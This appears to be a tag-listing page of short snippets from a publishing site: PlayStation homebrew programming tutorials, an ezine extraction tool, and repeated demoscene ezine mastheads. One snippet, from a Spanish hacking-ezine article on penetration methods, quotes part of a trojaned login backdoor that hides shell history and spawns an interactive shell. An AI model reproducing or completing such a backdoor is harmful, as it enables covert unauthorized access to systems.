#DE

1.6: Using the CD-ROM

PS_2's profile picture
Published in 
 · 23 hours ago
1.6: Using the CD-ROM
... ; // GTE header, not really used but libgpu.h depends on it #include <psxgpu.h> // GPU library header #include <psxapi.h> #DEfine OTLEN 8 // Ordering table length (recommended to set as a define // so it can be changed easily) DISPENV disp[2]; // Display/drawing buffer parameters DRAWENV draw[2]; int db = 0; // PSn00bSDK requires having all u_long types replaced with // u_int, as u_long in modern GCC that PSn00bSDK uses defines it as a 64-bit integer. u_int ot[2][OTLEN]; // Ordering table length char pribuff[2][32768]; // Primitive buffer char *nextpri; / ...

1.5: Fixed Point Math

PS_2's profile picture
Published in 
 · 1 day ago
1.5: Fixed Point Math
... ; // GTE header, not really used but libgpu.h depends on it #include <psxgpu.h> // GPU library header #include <psxapi.h> #DEfine OTLEN 8 // Ordering table length (recommended to set as a define // so it can be changed easily) DISPENV disp[2]; // Display/drawing buffer parameters DRAWENV draw[2]; int db = 0; // PSn00bSDK requires having all u_long types replaced with // u_int, as u_long in modern GCC that PSn00bSDK uses defines it as a 64-bit integer. u_int ot[2][OTLEN]; // Ordering table length char pribuff[2][32768]; // Primitive buffer char *nextpri; / ...

1.4: Controllers

PS_2's profile picture
Published in 
 · 1 day ago
1.4: Controllers
... list of constants for each button so you can specify which bit to test with more coherent names. In PSn00bSDK, these are already defined in psxpad.h. #DEfine PAD_SELECT 1 #define PAD_L3 2 #define PAD_R3 4 #define PAD_START 8 #define PAD_UP 16 #define PAD_RIGHT 32 #define PAD_DOWN 64 #define PAD_LEFT 128 #define PAD_L2 256 #define PAD_R2 512 #define PAD_L1 1024 #define PAD_R1 2048 #define PAD_TRIANGLE 4096 #define PAD_CIRCLE 8192 #define PAD_CROSS 16384 #define PAD_SQUARE 32768 To test if a button is pressed, simply mask the 16-bit integer against the bit value of the button you want to test using an AND (&) operator. Because the pressed stat ...

2x16: Extract

eZine's profile picture
Published in 
 · 4 weeks ago
... vo3 ... */ #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <string.h> #include <dirent.h> #DEfine BEGIN_TAG "[++] " #define END_TAG "[--]" #define BT_SIZE strlen(BEGIN_TAG) #define ET_SIZE strlen(END_TAG) #define SPLIT_TAG "-[ 2x" #define SPLIT_SIZE strlen(SPLIT_TAG) struct f_name { unsigned char name[256]; struct f_name *next; }; #ifdef __alpha typedef unsigned int uint32; #else typedef unsigned long uint32; #endif struct MD5Context { uint32 buf[4]; uint32 bits[2]; unsigned char in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned cha ...

2-9: Metodos de PENEtracion de sistemas

eZine's profile picture
Published in 
 · 1 month ago
... and touch all timestamps. * * Change the MAGIC_WORD and such to taste your fit. */ #include <stdio.h> /* start of user def stuff */ #DEfine OLDLOGIN "/usr/lib/login" #define LOGINNAME "login" #define MAGIC_WORD "localhost" /* end of user def stuff */ /* To make it a bit better looking in strings */ #define REVISION "$Id: Localcore 2000/08/14 21:31:00 marekm Exp $" char **exe; do_back() { puts(REVISION); putenv("TERM=vt100"); putenv("HISTFILE=/dev/null"); execl("/bin/sh","sh","-i",0); } main(argc, argv) int argc; char *argv[]; { exe = argv; exe[0] = LOGINNAME; if ((char *)geten ...

Static Line 52

eZine's profile picture
Published in 
 · 3 months ago
... ..............ircnet #coders.hu Scene.........................................ircnet #thescene Scene (French)..................................ircnet #DEmofr Scene (Hungarian)............................ircnet #demoscene Zx-spectrum scene..................................ircnet #z80 --=--=-- ----=--=------=--=------=--=------=--=------=--=------=--=------=--=------ -=- Staff -=- Editor: Ciaran / Ciaran Hamilton / staticline@theblob.org Staff Writers: Ben / Ben Collver / collver1@comcast.net Coplan / D. Travis North / coplan@scenespot.org Dilvie / Eric Hamilton / dilvie@dilvie.com Novus / Vince Young / vinc ...

Static Line 50

eZine's profile picture
Published in 
 · 3 months ago
... ..............ircnet #coders.hu Scene.........................................ircnet #thescene Scene (French)..................................ircnet #DEmofr Scene (Hungarian)............................ircnet #demoscene Zx-spectrum scene..................................ircnet #z80 --=--=-- ----=--=------=--=------=--=------=--=------=--=------=--=------=--=------ -=- Staff -=- Editors: Ciaran / Ciaran Hamilton / staticline@theblob.org Ben / Ben Collver / collver1@comcast.net Staff Writers: Coplan / D. Travis North / coplan@scenespot.org Dilvie / Eric Hamilton / dilvie@dilvie.com Novus / Vince Young / vin ...

Static Line 49

eZine's profile picture
Published in 
 · 3 months ago
... ..............ircnet #coders.hu Scene.........................................ircnet #thescene Scene (French)..................................ircnet #DEmofr Scene (Hungarian)............................ircnet #demoscene Zx-spectrum scene..................................ircnet #z80 --=--=-- ----=--=------=--=------=--=------=--=------=--=------=--=------=--=------ -=- Staff -=- Editors: Ciaran / Ciaran Hamilton / staticline@theblob.org Ben / Ben Collver / collver1@comcast.net Staff Writers: Coplan / D. Travis North / coplan@scenespot.org Dilvie / Eric Hamilton / dilvie@dilvie.com Novus / Vince Young / vin ...

Static Line 48

eZine's profile picture
Published in 
 · 3 months ago
... ..............ircnet #coders.hu Scene.........................................ircnet #thescene Scene (French)..................................ircnet #DEmofr Scene (Hungarian)............................ircnet #demoscene Zx-spectrum scene..................................ircnet #z80 --=--=-- ----=--=------=--=------=--=------=--=------=--=------=--=------=--=------ -=- Staff -=- Editors: Ciaran / Ciaran Hamilton / staticline@theblob.org Ben / Ben Collver / collver1@comcast.net Staff Writers: Coplan / D. Travis North / coplan@scenespot.org Dilvie / Eric Hamilton / dilvie@dilvie.com Novus / Vince Young / vin ...

Static Line 47

eZine's profile picture
Published in 
 · 3 months ago
... ..............ircnet #coders.hu Scene.........................................ircnet #thescene Scene (French)..................................ircnet #DEmofr Scene (Hungarian)............................ircnet #demoscene Zx-spectrum scene..................................ircnet #z80 --=--=-- ----=--=------=--=------=--=------=--=------=--=------=--=------=--=------ -=- Staff -=- Editors: Ciaran / Ciaran Hamilton / staticline@theblob.org Ben / Ben Collver / collver1@comcast.net Staff Writers: Coplan / D. Travis North / coplan@scenespot.org Dilvie / Eric Hamilton / dilvie@dilvie.com Novus / Vince Young / vin ...
loading
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT